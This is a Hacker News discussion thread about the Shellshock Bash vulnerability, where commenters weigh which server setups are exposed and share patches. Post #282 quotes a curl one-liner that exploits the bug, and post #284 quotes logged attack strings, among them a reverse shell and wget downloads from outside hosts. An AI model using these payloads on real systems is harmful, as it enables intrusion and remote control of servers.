Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Everything you need to know about the Shellshock Bash bug

troyhunt.com

Post reply on HN
Print view View original

281–290 of 296 posts

Re: Everything you need to know about the Shellshock Bash bug

#281

Post by EdiX »

CamperBob2 wrote: post #274
bulatb wrote: post #253

Earlier quoted context omitted.

Those statements aren't correct. A ShellShock exploit has two steps: 1. Attacker somehow gets to set an environment variable. Since CGI converts HTTP headers to env vars (Host: -> HTTP_HOST, etc), a CGI-enabled server is an easy way to make this happen. Step 1 on its own would be alarming but ultimately harmless--the variables may contain malicious values, but they can't be used to hurt you if you treat them as untru…

So every time Bash is launched, for any reason, it spins through all of the environment variables and executes anything it finds as long as it's preceded by a fairly simple pattern? To me, what seems disturbing isn't the extent of the vulnerability, but how long it took for someone to notice it. How many other "shallow" bugs like this one have been missed by the proverbial many eyes?

In principle it shouldn't execute anything, it's only supposed to parse functions. The problem is that it's such an obscure feature I bet almost no-one knew it existed, the many eyes didn't exist in this case.

Re: Everything you need to know about the Shellshock Bash bug

#282

Post by rhizome31 »

fiedzia wrote: post #51
s_kilk wrote: post #22

Earlier quoted context omitted.

Would a python web server (gunicorn, wsgi) behind nginx be vulnerable to this kind of problem? I'm just pondering all the python library code out there which relies on calls to subprocess.Popen() to get things done. It seems like dynamic scripting languages with a tendancy to shell out to the system could be at risk of this or similar attacks.

No, because wsgi (i is for an interface here) does not use shell to pass data. Subprocess.Popen would only be a problem if it passes user-generated data as environment variables, and it doesn't do that by default. That's rarely needed, but you may want to review your code to be sure.

Actually I just tried on an app that runs on Gunicorn and does a Popen with shell=True, and it is vulnerable. A simple curl -A '() { :;}; touch /tmp/owned' did create the file on the server.

Re: Everything you need to know about the Shellshock Bash bug

#283

Post by xd »

There are a lot of comments below stating mod_php is just as vulnerable as mod_cgi. This is NOT the case, mod_php is unaffected by shellshock.

Edit: Just to be clear, even using system / exec etc is not affected as the environment variables are not passed along to the sub process by the apache sapi.

Re: Everything you need to know about the Shellshock Bash bug

#284

Post by jgrahamc »

diminoten wrote: post #216
jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

Are you guys at all capable of seeing how far back exploitation of this goes?

No. I only have data for things the WAF blocked.

Re: Everything you need to know about the Shellshock Bash bug

#285

Post by avz »

philh wrote: post #9

Skimming this post, it appears to only reference CVE-2014-6271 and not CVE-2014-7169, so probably not 'everything you need to know'. (Searching for '=>' doesn't show anything, which I would expect it to if -7169 was mentioned.)

See https://news.ycombinator.com/item?id=8365158

Re: Everything you need to know about the Shellshock Bash bug

#286

Post by muyuu »

Zancarius wrote: post #278
muyuu wrote: post #200

Earlier quoted context omitted.

That the users created for Apache, database daemons, etc, default to bash for cgi.

The passwd file contains the login shell configured for that user. Operating in the context of a daemon for most sane applications, this configuration doesn't (or shouldn't?) matter unless the user logs in. [1] For Apache, I believe /bin/sh (or the shell it points to) is what's at issue here. [2] [1] http://unix.stackexchange.com/questions/38175/difference-bet... [2] http://security.stackexchange.com/questions/68146/…

Apache uses APR, which is a separate package/set of packages to the webserver proper. Depends on the distro how this works exactly. See for instance https://launchpad.net/ubuntu/precise/+source/apr-util

Unless the distro changes it, APR defines SHELL_PATH as a macro pointing to /bin/sh (note this isn't the homonym env variable, that would be a serious problem if it was since shellshock allows setting env variables by other means that are very public by now).

In a system I have access to, the installation procedure for some servers (not webserver necessarily) includes creating users with a full environment to be able to issue commands for these servers at a higher privilege. At the creation of these users, Ubuntu Server assigned them bash as their shell. I wonder if they're attackable at their public ports, but I haven't bothered trying to find attacking vectors since they were in production and the sysadmin got rid of bash as soon as he could. Not giving much detail here since I assume there will be plenty of compromised servers in the wild right now, including DB servers, proxies, etc.

Re: Everything you need to know about the Shellshock Bash bug

#287

Post by XzetaU8 »

WorldWideWayne wrote: post #125
gokhan wrote: post #43

Earlier quoted context omitted.

Can you name those hundreds of issues discovered on Windows stack for, say, 2014? I'm on IIS and I really want to know if I'm missing something. MS had it's fair share of security flaws in the past but give them credit for their current state. You sound like people still talking about BSODs, while it's certainly a thing in the past.

Here is the list of security advisories for all Microsoft products and they even list some non-Microsoft products like Adobe Flash, etc: - https://technet.microsoft.com/en-us/library/security/dn63193... I don't know where to get the multitude of security advisories for Unix systems listed all in one spot, but here are some links for popular distros: - https://www.debian.org/security/ - http://www.ubuntu.com/usn/ - ht…

http://www.cvedetails.com/vendor/firstchar-L/6/?sha=973e5d93...

http://www.exploit-db.com/platform/?p=linux

Re: Everything you need to know about the Shellshock Bash bug

#288

Post by jamroom »

sophacles wrote: post #258
jamroom wrote: post #246

Earlier quoted context omitted.

Correct - if you are using PHP as a CGI. This does not affect mod_php.

And this of course is a non-issue: https://news.ycombinator.com/item?id=8369443 right?

Yeah - that would not be an issue for mod_php since it is about DHCP - if you're server gets it's IP from DHCP, then there's a potential issue, but since we're talking about mod_php here (not running PHP as a CGI, just mod_php) then the linked post is not related.

Re: Everything you need to know about the Shellshock Bash bug

#289

Post by idorosen »

idorosen wrote: post #146

For Mac OS X, until Apple releases a software update, I've applied the original CVE-2014-6271 (shellshock) patch and am going to apply the CVE-2014-7169 patch as well once it passes review. Repository and instructions to reproduce without trusting me are located here: https://github.com/ido/macosx-bash-92-shellshock-patched

I've updated this to the latest patch which covers CVE-2014-7169.
Post reply on HN